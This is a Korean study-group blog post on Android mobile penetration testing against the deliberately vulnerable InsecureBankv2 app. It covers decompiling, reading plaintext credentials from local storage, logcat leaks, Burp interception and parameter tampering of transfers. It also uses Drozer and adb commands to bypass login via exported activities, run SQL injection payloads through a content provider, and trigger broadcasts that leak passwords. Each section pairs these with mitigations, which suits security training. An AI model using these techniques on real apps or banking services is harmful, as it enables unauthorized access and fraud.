본문 바로가기

4-2. 2024-1 심화 스터디/안드로이드 모의해킹

[2주차] 블레이드러너 - 안드로이드 모의해킹

강의 : 안드로이드 모바일 앱 모의해킹과 시큐어코딩

 

2주차 활동 : 섹션2 (안드로이드 취약점 분석 - 하드코딩, 디컴파일), 섹션3 (안드로이드 취약점 분석 - 내부, 외부 저장소 내 중요 정보 확인), 섹션4 (안드로이드 취약점 분석 - 취약한 로깅 매커니즘, 평문전송), 섹션5 (드로저(Drozer) 프레임워크를 활용한 취약점 분석)


안드로이드 취약점 분석 - 하드코딩, 디컴파일

1. 하드코드된 중요 정보 확인

하드 코딩
: 소스코드 내에 중요한 정보들이 정적으로 저장되어 있을 때 외부로 노출될 수 있는 취약점이 있는지 점검하는 것
  • 취약점 소개
    • 하드코드란 프로그램 소스 코드 내에 데이터를 직접 입력해서 저장하는 경우를 뜻함
    • 중요한 정보(관리자 계정, 암호화키 등)가 소스 코드 내에 노출된 경우 취약점
    • 개발 편의를 위해 입력받는 값을 소스 코드 내에 저장해서 발생하는 경우가 많음
    • 안드로이드 앱은 디컴파일이 가능하여 중요 정보를 코드 내 주석 등으로 노출할 경우 쉽게 확인 가능
Ex. 소스코드 경로
C:\…\Android-InsecureBankv2-master\InsecureBankv2\app\src\main\java\com\android\insecurebankv2
  • Jack이라는 Username에 대한 Password 정보
  • 양방향 암호화 시 사용될 수 있는 키 값 정보
JADX
: Dex를 Java로 변환하는 디컴파일러
: 안드로이드 Dex 및 Apk 파일에서 Java 소스 코드를 생성하기 위한 명령줄 및 GUI 도구
  • JADX 주요 특징
    • 달빅 바이트 코드를 APK, dex, aar 및 zip 파일에서 자바 클래스로 디컴파일
    • resources.arsc에서 AndroidManifest.xml 및 기타 리소스 디코딩
    • deobfuscator 포함
  • Jadx-gui 주요 특징
    • 강조 표시된 문법으로 디컴파일된 문법 보기
    • 선언된 코드로 이동
    • 전체 텍스트 검색
  • 실습
    • 문자열 검색: Navigation > Text Search > Search for text
      • secret key 문자열을 검색하면 복호화에 사용되는 키 값 확인
  • 대응 방안
    • 중요정보가 하드코드되지 않도록 제거해야함
    • 중요한 키 값이 소스 코드 내에서 사용되어야 한다면, 해당 값은 암호화하여 보호해야함
    • 개발자용 테스트 계정 등 개발에 사용한 정보에 주의를 기울여 개발해야 함

2. 안드로이드 앱 코드 분석

ℹ️ 디코딩 사전 준비
- 동적 분석
   - 내부/외부 저장소, 로그캣, 패킷 정보
   - 프로세스 정보
- 정적 분석(+코드 분석)
   - APK 파일 ← dex+리소스+권한 ← smali 코드(byte 코드 형식) ← class 파일 ← Java(Kotlin) 파일
$ java -jar apktool_2.0.0.jar
$ java -jar apktool_2.0.0.jar d InsecureBankv2.apk //-d 옵션: 디코딩
    • 비교
      • zip 파일 압축 해제
      • apk 파일 디코딩 (이때, classes.dex 파일이 smali 폴더로 해제됨)
    • 불필요한 권한들도 하나의 취약점으로 분류할 것

Ex. 소스코드 경로

E:\…\실습_tools\apktool\InsecureBankv2\smali\com\android\insecurebankv2

$ d2j-dex2jar.bat //dex2jar는 클래스 파일부터 APK파일까지로 변환해주는 도구
$ jadx-gui //jadx는 자바 파일로 변환해주는 도구
$ Bytecode-Viewer.jar //Bytecode-Viewer는 분석 시간이 더 소요되지만 기능이 더 많음

 

3. GDA를 활용한 디컴파일 코드 분석 사례

GDA:
https://github.com/charles2gan/GDA-android-reversing-Tool

 

안드로이드 취약점 분석 - 내부, 외부 저장소 내 중요 정보 확인

1. 로컬 암호화 이슈, 취약한 SD카드 스토리지

  • 취약점 소개
    • 안드로이드에서는 온라인/오프라인을 통해 데이터를 처리할 수 있도록 로컬 스토리지 제공
    • 애플리케이션 환경설정 정보, 외부 API 연동 및 인증을 위한 토큰 값, 연동 서버 정보 등을 로컬 스토리지에 저장
    • 로컬 스토리지에 데이터를 저장하는 경우 보안을 고려하지 않으면 평문 형태의 파일 로 저장
    • 애플리케이션에서 저장되는 파일이나 데이터는 소유자만 접근 하도록 제한
    • 공격자가 접근 제한을 우회하거나 권한 상승에 성공하는 경우 평문으로 저장된 데이터 획득 가능
  • 데이터 저장
    • 데이터를 저장하는 것은 많은 모바일 앱에서 필수적
    • 일부 앱은 데이터 저장소를 사용하여 사용자 설정 또는 사용자 제공 데이터를 추적
    • 안드로이드 플랫폼에서 널리 사용되는 저장소 기술 목록
Shared Preferences: 안드로이드 앱 설정과 관련된 파일(Ex. ID/PW, 사용자 토큰 정보 등)
  • key-value 쌍으로 앱의 환경설정을 저장하는 데 사용되는 XML 파일
  • 일반적으로 boolean, float, int, long, string 의 타입을 가짐
  • MODE_WORLD_READABLE를 사용하면 모든 애플리케이션이 XML 파일에 접근 가능
  • MODE_WORLD_READABLE 및 MODE_WORLD_WRITEABLE은 Android 4.2(API Level 17)부터 더 이상 사용되지 않아, android:targetSdkVersion 값이 17보다 작은 애플리케이션은 영향을 받음
SharedPreferences sharedPref = getSharedPreferences("key", MODE_WORLD_READABLE);
SharedPrefenences.Editor editor = sharedPref.edit();
editor.putString("username","administrator");
editor.putString("password","supersecret");
editor.commit();
  • 앱에서 액티비티가 호출되면 key.xml 파일에 제공된 데이터가 작성됨
  • 사용자 이름과 비밀번호는 아래 파일에 일반 텍스트로 저장
    • /data/data/<package-name>/shared_prefs/key.xml
  • MODE_WORLD_READABLE을 사용하면 모든 애플리케이션이 key.xml의 컨텐츠에 접근 가능
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
	<string name="username">administrator</string>
	<string name="password">supersecret</string>
</map>
SQLite Databases: 데이터베이스
  • 모바일 환경에서 일반적으로 사용되는 경량 파일 기반 데이터베이스
    • key와 value로 구성되어 있으며 별도의 애플리케이션 없이 사용 가능
  • 안드로이드 SDK는 SQLite 데이터베이스를 기본적으로 지원함
  • 특정 애플리케이션의 SQLite 데이터베이스에 저장된 데이터는 기본적으로 안드로이드 보안 제한으로 인해 다른 애플리케이션에 접근할 수 없음
  • 데이터베이스를 관리하는 데 사용되는 기본 패키지는 android.database.sqlite 입니다.
  • 두 가지 종류인 Unencrypted & Encrypted로 나눠볼 수 있음
  • 암호화되지 않은 일반 텍스트가 저장됨
  • 액티비티가 호출되면 제공된 데이터로 privateNotSoSecure 데이터베이스 파일이 작성
  • 아래 경로의 일반 텍스트 파일에 저장
    • /data/data/<package-name>/databases/privateNotSoSecure
  • MODE_PRIVATE를 사용하여 접근 설정
SQLiteDatabase notSoSecure = openOrCreateDatabase("privateNotSoSecure", MODE_PRIVATE, null);
notSoSecure.execSQL("CREATE TABLE IF NOT EXISTS Accounts(Username VARCHAR, Password VARCHAR);");
notSoSecure.execSQL("INSERT INTO Accounts VALUES('admin','AdminPass');");
notSoSecure.close();

 

2. 안드로이드 앱 내부 저장소 진단

C:/... > nox_adb shell
# cd /home
/system/bin/sh: cd: /home: No such file or directory
# cd /data/data 
~:/data/data # ls
com.android.@@@(도메인명)
(생략)
~:/data/data # cd com.android.insecurebankv2
~:/.../com.android.insecurebankv2 # ls -al
drwxrwx--x u0_a36   u0_a36            2024-03-13 02:34 cache
drwxrwx--x u0_a36   u0_a36            2024-03-13 02:34 databases
lrwxrwxrwx install  install           2024-03-13 02:34 lib -> /data/app-lib/com.android.insecurebankv2
drwxrwx--x u0_a36   u0_a36            2024-03-13 02:36 shared_prefs
~:/.../com.android.insecurebankv2 # cd shared_prefs
~:/.../shared_prefs # ls -al
-rw-rw---- u0_a36   u0_a36        166 2024-03-13 02:35 com.android.insecurebankv2_preferences.xml
-rw-rw---- u0_a36   u0_a36        209 2024-03-13 02:36 mySharedPreferences.xml
~:/.../shared_prefs # cat mySharedPreferences.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="serverport">8888</string>
    <string name="serverip">192.168.10.106</string>
</map>
at mySharedPreferences.xml                                                    <
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="EncryptedUsername">ZGluZXNo
    </string>
    <string name="superSecurePassword">DTrW2VXjSoFdg0e61fHxJg==
    </string>
</map>
~:/.../com.android.insecurebankv2 # cd databases
~:/.../databases # ls -al
-rw-rw---- u0_a38   u0_a38      20480 2024-03-15 03:35 mydb
-rw------- u0_a38   u0_a38       8720 2024-03-15 03:35 mydb-journal
Base64 Decode
<string name="EncryptedUsername">ZGluZXNo

SQLite for mydb

  • 응용 프로그램의 권한 관리
    • 안드로이드에 설치된 모든 응용 프로그램은 일반 사용자 권한으로 실행됨
    • 응용 프로그램이 사용자의 데이터에 접근할 때 모든 사항을 응용 프로그램 사양에 명시
    • 접근 시 사용자의 동의를 받도록 하고 있음(응용 프로그램 설치 시 동의 절차)
    • 모든 응용 프로그램은 설치 시 자신의 고유한 사용자 ID를 할당 받아서 동작
Cf. 비유
- 개인 방 (E.g. /data/data)
   - Internal Storage (내부 저장소)
      - 중요한 정보가 포함이 되어야 함
      - 암호화가 되어야 함. (단, 강한 암호(Ex. SHA256 등)을 사용)
      - ID는 평문 저장 가능하다.
- 거실 (E.g. /sdcard)
   - External Storage (외부 저장소)
  • 앱 설치 디렉터리 확인 (환경에 따라 다름)
디렉터리 설명
/data/data/<package> 설치 앱 패키지 경로
/data/data/<package>/files 관리자가 내부적으로 사용하는 파일을 저장(so 파일, data 파일, ini 파일 등이 포함됨)
/data/data/<package>/lib 애플리케이션에 요청하는 라이브러리 파일 저장(so 파일이 존재함)
/data/data/<package>/databases 설정 파일, 컨텐츠 파일 등의 쿼리 정보가 포함된 SQL lite DB 파일(db 파일이 존재함)
/data/data/<package>/cache 쓰기/읽기 권한이 있고 브라우저 캐시같이 일시적인 사용자의 상태 정보가 포함
/data/data/<package>/shared_prefs XML 파일로 저장이 되며, 앱에 공유되는 설정 파일
/data/app 사용자에 의해 설치된 앱 경로
/system/app 시스템에 의해 미리 설치된 앱 경로
/mnt/sdcard 또는 /sdcard External/Internal SD Card 경로
C:/... > nox_adb uninstall 000 //uninstall 패키지명: 패키지 삭제
Success
C:/... > nox_adb push //push: PC에 있는 데이터를 모바일로 이동 (install은 apk 파일을 설치하는 명령어)
C:/... > nox_adb pull 000 //pull 절대경로: push의 정반대 개념으로, 절대경로의 디렉터리에 있는 정보들을 모두 가져옴

 

3. 안드로이드 앱 외부 저장소 진단

~:/mnt/sdcard # ls -al
drwxrwx--- root     sdcard_r          2023-02-06 14:42 Alarms
drwxrwx--x root     sdcard_r          2023-02-06 14:42 Android
drwxrwx--- root     sdcard_r          2024-03-15 03:35 Apps
drwxrwx--- root     sdcard_r          2023-02-06 14:42 DCIM
drwxrwx--- root     sdcard_r          2024-03-09 16:45 Download
drwxrwx--- root     sdcard_r          2023-02-06 14:42 Movies
drwxrwx--- root     sdcard_r          2023-02-06 14:42 Music
drwxrwx--- root     sdcard_r          2023-02-06 14:42 Notifications
drwxrwx--- root     sdcard_r          2024-03-13 02:34 Pictures
drwxrwx--- root     sdcard_r          2023-02-06 14:42 Podcasts
drwxrwx--- root     sdcard_r          2023-02-06 14:42 Ringtones
//Apps에는 SD 카드에 저장할 일이 있는 정보들이 저장될 수 있음

안드로이드 취약점 분석 - 취약한 로깅 매커니즘, 평문전송

1. 취약한 로깅 메커니즘 이해와 로그캣(Logcat) 정보

  • 취약점 소개
    • 로그는 실행 중에 발생하는 프로그램의 이벤트, 통신 기록 등을 나타냄
    • 로그를 사용하여 장애원인 분석이나, 프로그램을 개발 또는 유지보수 하는 데 유용하게 사용됨
    • 취약한 로깅 매커니즘은 로그 기록에 노출되면 안되는 중요한 데이터가 기록되는 경우
    • 안드로이드 스튜디오에서 제공하는 logcat을 사용하여 진단
  • 로그캣(Logcat)을 이용한 정보 확인
    • 로그캣(Logcat) 정보 내에 중요 정보 평문 노출

1. $ nox_adb logcat //이를 통해 외부에서도 통신 상에서 필요한 정보 획득 가능
2. $ nox_adb shell //쉘 안에 진입
		root@username:/ #logcat
  • 로그캣 메시지 유형 및 설명
메시지 유형 설명
V Verbose(중요하지 않은 정보)
D Debug(디버그 정보)
I Information(일반 정보)
W Warning(경고 정보)
E Error(에러 정보)
F Fatal(중요한 정보)
S Silent(가장 높은 우선순위의 정보)
  • 주요 옵션
옵션 설명
-s 모든 태그의 우선순위를 ‘silent’로 설정하는 필터 표현식 ‘*:S’와 동일
-c 로그 전체를 삭제한다
-d 로그를 스크린에 덤프한다
-f 파일이름 지정한 파일이름에 로그를 저장한다
-g 로그 버퍼의 사이즈를 가져오고 종료한다
-v 포맷 로그 메시지의 포멧을 설정한다. 기본은 brief 포멧이다.
애플리케이션 로그 출력
  • 실행중인 애플리케이션 프로세스 번호 확인
$ adb shell ps | grep com.android.insecurebankv2 | awk "{print $2}"
4646
  • 확인한 프로세스 번호로 로그 검색
$ adb logcat | grep 4646

I/art (4646): Late-enabling-Xcheck:jni
...

 

2. 안드로이드 dumpsys 패키지 정보 확인

> nox_adb shell pm list packages //설치된 모든 패키지 리스트에 대해 출력
> nox_adb shell pm list packages -3 //서드파티(사용자가 나중에 설치했던 앱)만 출력

> nox_adb shell dumpsys package //설치된 모든 패키지의 정보에 대해 확인
> nox_adb shell dumpsys package [패키지명] //[패키지명] 패키지의 정보에 대해 확인

> nox_adb shell dumpsys activity //설치된 모든 패키지의 activity에 대해 확인
> nox_adb shell dumpsys activity activities | findstr [패키지명] //[패키지명] 패키지의 정보에 대해 확인

 

3. 녹스(Nox)에서 앱 SSL 자격증명 설치

  • BurpSuite
    • [Proxy] - [Option] - [Proxy Listeners] - [Edit]에서 All interfaeces로 변경
    • [Proxy] - [Option] - [Intercept Client Requests]에서 Intercept requests… 체크
  • Nox
    • 인터넷에서 http://burp 미리 연결
    • [Tools] - [설정] - [Wi-Fi] - “WiredSSID”를 마우스 왼쪽으로 길게 누르기 - [네트워크 수정] - [고급 옵션] - [프록시 수동]에서
      • “프록시 호스트 이름”에 PC의 IPv4 주소 입력
      • “프록시 포트”에 8080 입력

HTTP 페이지는 접근 가능하나 SSL 통신은 불가능한 상태 → BurpSuite는 인증서가 등록되지 않으면 SSL 통신을 Intercept 불가능

//기기가 여러 대인 경우
> nox_adb devices
List of devices attached
[IP 주소 1]:[번호 1] device
[IP 주소 2]:[번호 2] device
> nox_adb -s [IP 주소 1]:[번호 1] shell

> nox_adb shell
root@shamu:/ # cd /mnt/sdcard/download
root@shamu:/mnt/sdcard/download # ls
cacert.der
root@shamu:/mnt/sdcard/download # cp cacert.der burp.cer
  • [Tools] - [설정] -[보안] - [신뢰할 수 있는 자격증명] - [사용자] - [PortSwigger]
  • [Tools] - [설정] -[보안] - [SD 카드에서 설치] - [다운로드] - “burp.cer” 클릭 - [암호] - “PIN 번호: 1234”

SSL 인증 오류 없이 작동 가능

4. 통신과정 암호화 통신 여부 확인

취약한 HTTP 통신 — 중요정보 평문 전송

 

4.1 와이어샤크 활용

  • [Capture] - [Options] - … 혹은 “본인이 연결한 인터넷” 선택
    • 연두색 패킷: HTTP 통신

4.2 버프스위프트 프록시 활용

POST /getaccounts HTTP /1.1
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Host: [IP 주소]:8888
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

username=jack&password=1q2w3e%21%40%23QWE //ID와 PW
모든 정보가 노출되어 있다는 점에서 암호화 통신을 하지 않는다는 점을 유추 가능.

 

5. 통신과정 파라미터 조작을 통한 인증 우회

파라미터 조작 - 계좌 이체 금액 변조&취약한 비밀번호 변경 로직
  • 취약점 소개
    • 클라이언트와 서버가 통신할 때 중간에 패킷을 가로채서 파라미터를 변조하는 취약점
    • 정상적인 요청 값을 공격자가 변조하여 정보 유출 등의 피해가 생김
    • 또한, 파라미터 조작을 통해 인증 우회도 가능
  • 계좌 이체 파라미터 조작
    • 계좌번호와 금액을 입력하고 Transfer 버튼 클릭
    • Transfer 기능을 사용할 때 프록시 도구를 이용하여 패킷 정보 확인
    • 이체할 금액을 변조하여 전송
    • 변조한 패킷에서는 77777 금액이 전송되었지만 ViewStatement에서는 변조 전 데이터인 35000인 것을 확인
POST /dotransfer HTTP /1.1
Content-Length: 90
Content-Type: application/x-www-form-urlencoded
Host: [IP 주소]:8888
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

username=jack&password=1q2w3e%21%40%23QWE&from_acc=999999999&to_acc=555555555&amount=10000
인증 처리 쪽이 미흡하다는 점을 악용할 수 있음 → 파라미터 조작은 인증 처리 및 접근 제어와 연관성이 있다
  • 비밀번호 변경
    • 인시큐어뱅크 로그인 후 비밀번호 변경 기능을 사용할 때 발생하는 취약점으로, 다른 사용자의 비밀번호 변경이 가능한 취약점
    • 실제 모의해킹에서 충분히 발생할 수 있는 취약점 중에 하나
    • 대량의 사용자 비밀번호 변경으로 개인정보 및 금융정보 등을 확인할 수 있는 크리티컬한 취약점
요약
  1. 다른 사용자의 게시물의 권한 획득 (수정, 삭제)
  2. 다른 사용자의 이름으로 게시물을 작성
  3. 다른 사용자의 중요 정보 (개인 수정 페이지, 이력서 페이지 등)
  4. 무료 사용자가 유료 콘텐츠에 접근이 가능할까?
  • 대응방안
    • 파라미터 값을 암호화하여 조작 불가능하도록 해야 함
    • 세션 값 검증을 통해 다른 사용자 계정에 대한 조작이 불가능하도록 해야 함
    • 파라미터 조작을 통한 입력 값에 대한 유효성 검증 서버에서 검증하도록 해야 함
    • 비밀번호 변경 기능을 사용할 때 아이디로만 인증하는 것이 아닌 이전 비밀번호도 포함하여 인증하도록 강화해야 함
    • 또한, 비밀번호 변경 시 통신은 HTTP가 아닌 HTTPS로 통신하도록 암호화 적용이 필수

드로저(Drozer) 프레임워크를 활용한 취약점 분석

1. 드로저(Drozer) 이해와 아나콘다 환경 설치 방법

드로저란?
: 드로저(Drozer)는 MWR InfoSecurity에서 개발한 모바일 애플리케이션 취약점 진단 프레임워크인 Mercury의 새로운 업데이트 버전
: 드로저는 가상 디바이스 뿐만 아니라 실제 안드로이드 디바이스에 테스트가 가능하며 자동화된 테스팅이 가능
: 안드로이드 익스플로잇을 통한 취약점 진단이 가능하기 때문에 다양한 시나리오를 통해 취약점 점검이 가능

🔗 https://github.com/WithSecureLabs/drozer
$ conda activate py2.
7
$ drozer
> nox_adb forward tcp:31415 tcp:31415 //내부와 외부의 포트 연결
$ pip install protobuf pyOpenSSL twisted service_identity
$ drozer console connect
# dz > list
# dz > run app.package.list -f insecure
com.android.insecurebankv2 (InsecureBankv2)
# dz > run app.package.info -a com.android.insecurebankv2 //패키지 정보 안에서 획득한 정보 출력

 

2. 드로저 프레임워크 기본 명령 확인

$ drozer console connect 

#설치된 패키지 목록 확인
dz> list //drozer가 사용할 수 있는 모듈들을 리스트로 출력

#특정 단어로 설치된 패키지 확인
dz> run app.package.list -f insecure //-f [string to be searched]
com.android.insecurebankv2 (InsecureBankv2)

#
dz> run app.package.list -a com.android.insecurebankv2
Package: com.android.insecurebankv2
	Application Label: InsecureBankv2
	Process Name: com.android.insecurebankv2
	Version: 1.0
	Data Directory: /data/data/com.android.insecurebankv2
	APK Path: /data/app/com.android.insecurebankv2-1/base.apk
	...
	Uses Permissions: //유저 권한
	- android.permission.INTERNET
	- android.permission.WRITE_External_STORAGE
	...

#	
dz> run app.package.manifest com.android.insecurebankv2
<manifest versionCode="1"
					versionName="1.0"
					...

#자동화 분석				
dz> run app.package.attacksurface com.android.insecurebankv2
Attack Surface:
	5 activities exported
	1 broadcast receivers exported
	1 content providers exported
	0 services exported
		is debuggable

 

3. 취약한 인증 매커니즘 액티비티 노출 취약점 분석

  • 취약점 소개
    • 정상적인 인증 절차를 우회하여 비정상적으로 인증 권한 획득
    • OWASP Mobile Top 10 2014-M5에 해당
      • 적절하지 않은 앱 퍼미션 설정 여부
      • 서비스 권한 상승 행위에 대한 통제 여부
      • 기능에 대한 제한 또는 우회 금지 여부
      • 불필요하거나 사용하지 않는 액티비티 제거 여부
      • 인텐트 사용에 대한 안전성 여부
      • 마스터 키 취약점 대응 여부
#ADB
root@000:/ #am start com.android.insecurebankv2/com.android.insecurebankv2.PostLogin

#Drozer
dz> run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword --extra string uname jack
  • 로그인 없이 인증 우회(ADB)
    • adb를 이용하여 인증 이후에 실행되는 액티비티 강제 실행
    • exported 속성이 true인 경우 실행 가능
C:\> adb shell am start
com.android.insecurebankv2/com.android.insecurebankv2.PostLogin
  • 로그인 없이 인증 우회(Drozer)
    • drozer를 이용하여 인증 이후에 실행되는 액티비티 강제 실행
    • exported 속성이 true인 경우 실행 가능
    • 애플리케이션의 액티비티 정보 확인
dz> run app.activity.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
	com.android.insecurebankv2.LoginActivity
		Permission.null
	com.android.insecurebankv2.PostLogin
		Permission.null
	com.android.insecurebankv2.DoTransfer
		Permission.null
	com.android.insecurebankv2.ViewStatement
		Permission.null
	com.android.insecurebankv2.ChangePassword
		Permission.null

dz> run app.activity.info //현재 시뮬레이터 안에 설치된 모든 앱들의 정보 출력
dz> run app.acitiviy.info --filter insecure 

dz> run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin

 

4. 취약한 콘텐츠 프로바이더 분석

  • 취약점 소개
    • 콘텐츠 프로바이더는 다른 애플리케이션에서 데이터베이스나 파일에 접근 가능하도록 인터페이스 제공
    • 콘텐츠 프로바이더에 접근하기 위해 URI와 ContentResolver 필요
    • 애플리케이션은 ContentResolver를 이용하여 콘텐츠 프로바이더에 접근 가능하며 URI를 이용
    • 콘텐츠 프로바이더가 외부에 노출된 경우 외부에서 접근하여 데이터를 조회하거나 변경 가능
  • 콘텐츠 프로바이더 확인
    • 애플리케이션의 콘텐츠 프로바이더는 Androidmanifest.xml의 <provider> 요소에 정의
    • 콘텐츠 프로바이더 주소인 URI는 “content://authority/path”와 같은 형식으로 구성
    • Authority는 콘텐츠 프로바이더의 주소, path는 데이터 위치에 대한 정보를 의미
      • 제공자 클래스 이름(android:name): ContentProvider를 구현하는 클래스
      • 권한(android:authorities): 시스템 내에서 제공자 전체를 식별하는 상징적 이름
      • 시작 및 제어 특성(android:exported): 다른 애플리케이션이 이 제공자를 사용할 수 있게 해주는 플래그로, true로 설정된 경우 외부에 노출
<provider
	android:name=".TrackUserContentProvdier"
	android:authorities="com.android.insecurebankv2.TrackUserContentProvider"
	android:exported="true"
</provider>
콘텐츠 프로바이더 취약점 확인(ADB)
  • 콘텐츠 프로바이더를 이용하여 데이터에 접근하기 위해 URI 필요
    • content:// 콘텐츠 URI로 식별
    • user_dictionary 제공업체의 권한
    • words 테이블의 경로
content://user_dictionary/words
  • 인시큐어뱅크의 URI를 확인하기 위해 디컴파일 후 “content://”가 포함된 항목 검색
    • TrackUserContentProvider.smail파일에서 “content://” 발견
    • content://com.android.insecurebankv2.TrackUserContentProvider/trackusers
> nox_adb shell content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackusers
Row: 0 id=1, name=dinesh
...
Row: 5 id=5, name=jack
...
콘텐츠 프로바이더 취약점 확인(Drozer)
  • drozer에서 콘텐츠 프로바이더를 통해 SQL Injection 공격
  • 로컬 스토리지에 포함된 데이터베이스 사용
  • SQL Injection 공격 가능 확인을 위해 --projection 옵션 뒤에 싱글쿼터(’) 삽입
  • 쿼리문: SELECT <projection> FROM …
  • 에러 메시지가 출력되었으며 메시지 안에 데이터 조회를 위한 쿼리 일부 포함
dz> run app.provider.query [uri] --projection [columns[...]]

dz> run app.provider.query
content://com.android.insecurebankv2.TrackUserContentProvider/trackusers "'"
unrecognized token: "' FROM name ORDER BY name" (code 1):, while compiling: SELECT 'FROM name ORDER BY name
  • 데이터베이스에 포함된 테이블 목록 확인
  • “ * from SQLITE_MASTER where type=’table’;--” 구문을 추가하여 테이블 목록 확인
  • URI를 통해 확인했던 names 칼럼 포함 확인
dz> run app.provider.query
content://com.android.insecurebankv2.TrackUserContentProvider/trackusers --projection “ * from SQLITE_MASTER where type=’table’;--”
| type  | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) |
| table | names | names | 4 | CREATE TABLE name (id INTECER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL) |
| table | sqlite_sequence | sqlite_sequence | 5 | CREATE TABLE sqlite_sequence(name, seq)
  • 데이터베이스에 포함된 테이블 중 names 테이블 출력
  • “ * from names;--” 구문을 추가하여 names 테이블 출력
  • URI를 이용해 출력했던 내용과 동일한 결과 출력
  • Insert, delete 등의 쿼리 전송 가능
dz> run app.provider.query
content://com.android.insecurebankv2.TrackUserContentProvider/trackusers --projection “ * from names;--”
| id | name   |
| 1  | dinesh |
| 2  | dinesh |
| 3  | dinesh |
  • 대응방안
    • Androidmanifest.xml에 선언된 android:exported 속성을 false로 설정
    • false로 설정된 경우 외부의 영향을 받지 않음
    • False로 설정된 콘텐츠 프로바이더에 강제로 요청하는 경우 “Permission Denial” 메시지 출력
dz> run app.provider.query
content://com.android.insecurebankv2.TrackUserContentProvider/trackusers
Permission Denial: opening provider
com.android.insecurebankv2.TrackUserContentProvider from ProcessRecord{3fa531ad 3500:com.mwr.dz:remote/u0a38} (pid=3500, uid=10038) that is not exported from uid 10036
연습 문제 - DIVA
🔗 11. Access Control Issues - PART3
- 외부에서 중요한 내부 데이터 조회
dz> run app.provider.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
	Authority: com.android.insecurebankv2.TrackUserContentProvider
		Read Permission: null
		Write Permission: null
		Content Provider: com.android.insecurebankv2.TrackUserContentProvider
		Multiprocess Allowed: False
		Grant Uri Permissions: False

dz> scanner.provider.finduris -a com.android.insecurebankv2
...
Accessible content URIs:
	content://com.android.insecurebankv2.TrackUserContentProvider/trackusers
	content://com.android.insecurebankv2.TrackUserContentProvider/trackusers/

dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackusers
| id | name   |
| 1  | dinesh |
| 2  | dinesh |
| 3  | dinesh |
| 4  | dinesh |
| 9  | dinesh |
| 5  | jack   |
| 6  | jack   |
| 7  | jack   |
| 8  | jack   |

dz>

 

5. 취약한 브로드캐스트 리시버 분석

  • 취약점 소개
    • 브로드캐스트 리시버는 디바이스에서 발생하는 이벤트 신호를 받아 처리하는 역할
    • 애플리케이션의 브로드캐스트 리시버에서 신호를 받아 정해진 작업 수행
    • Androidmanifest.xml의 <receiver></receiver> 항목에 정의
    • 공격자는 임의의 브로드캐스트 신호를 생성하여 사용자가 받는 알림(메시지, 전화 등)을 가로채거나, 특정 상황에 발생하는 작업을 우회하여 수행 가능
  • 브로드캐스트 리시버 확인
    • Androidmanifest.xml에 선언된 브로드캐스트 리시버 확인
      • 브로드캐스트 리시버 클래스: .MyBroadCastReceiver
      • 브로드캐스트 이름: theBroadcast
      • android:exported: 외부 애플리케이션으로부터 intent 수신 가능
      • 정의된 MyBroadCastReceiver 메소드 확인(MyBroadCastReceiver.class)
      • 비밀번호 업데이트를 알리는 SMS를 보내는 기능을 함
<receiver android:name="com.android.insecurebankv2.MyBroadCastReceiver" android:exported="true">
	<intent-filter>
		<action android:name="theBroadcast"/>
	</intent-filter>
</receiver>
  • 브로드캐스트 생성 (ADB)
    • ADB를 이용하여 브로드캐스트 생성
    • Logcat으로 확인한 결과, “Phone number is null” 메시지 출력
$ adb shell am broadcast -a [action] -n [package name/component name]

$ adb shell am broadcast -a theBroadcast -n com.android.insecurebankv2/.MyBroadCastReceiver
Broadcasting: Intent { act=theBroadcast cmp=com.android.insecurebankv2/.MyBroadCastReceiver }
Broadcast completed: result=0
> nox_adb logcat
D/AndroidRuntime( 4221):>>>>>>> START com.android.internal.os.RuntimeInit uid 0 <<<<<<<
D/AndroidRuntime( 4221): CheckJNI is OFF
W/              ( 4221): Failed to bind-mount /system/lib/x86/cpuinfo as /proc/cpuinfo: No such file or directory
E/              ( 4221): Cannot create code cache directory ./code_cache: Read-only file system.
E/memtrack(4221): Couldn't load memtrack module (No such file or directory)
E/android.os.Debug(4221): failed to load memtrack module: -2
D/AndroidRuntime(4221): Calling main entry com.android.commands.am.Am
I/System.out(3422): Phone number is null
D/AndroidRuntime(4221): Shutting down VM
  • ADB를 이용하여 파라미터가 포함된 브로드캐스트 생성
  • 파리미터가 포함되어 정상 처리 (-e 옵션 사용)
  • Logcat으로 확인한 결과, 기존에 사용하던 비밀번호가 평문으로 노출되는 것을 확인
$ adb shell am broadcast -a [action] -n [package name/component name] -e <KEY><VALUE>

$ adb shell am broadcast -a theBroadcast -n com.android.insecurebankv2/.MyBroadCastReceiver -e phonenumber 5555 -e newpass test
Broadcasting: Intent { act=theBroadcast cmp=com.android.insecurebankv2/.MyBroadCastReceiver (has ...) }
Broadcast completed: result=0
> nox_adb logcat
D/AndroidRuntime( 5172):>>>>>>> START com.android.internal.os.RuntimeInit uid 0 <<<<<<<
D/AndroidRuntime( 5172): CheckJNI is OFF
W/              ( 5172): Failed to bind-mount /system/lib/x86/cpuinfo as /proc/cpuinfo: No such file or directory
E/              ( 5172): Cannot create code cache directory ./code_cache: Read-only file system.
E/memtrack(5172): Couldn't load memtrack module (No such file or directory)
E/android.os.Debug(5172): failed to load memtrack module: -2
D/AndroidRuntime(5172): Calling main entry com.android.commands.am.Am
I/System.out(5086): For the changepassword -phonenumber: 12345 password is: Updated Passowrd from: Dinesh@123$ to: test => 취약점
D/AndroidRuntime(5172): Shutting down VM
  • 브로드캐스트 생성 (Drozer)
dz> run app.broadcast.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
	Authority: com.android.insecurebankv2.MyBroadCastReceiver
		Read Permission: null
		
dz> run app.broadcast.send --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 12345 --extra string newpass test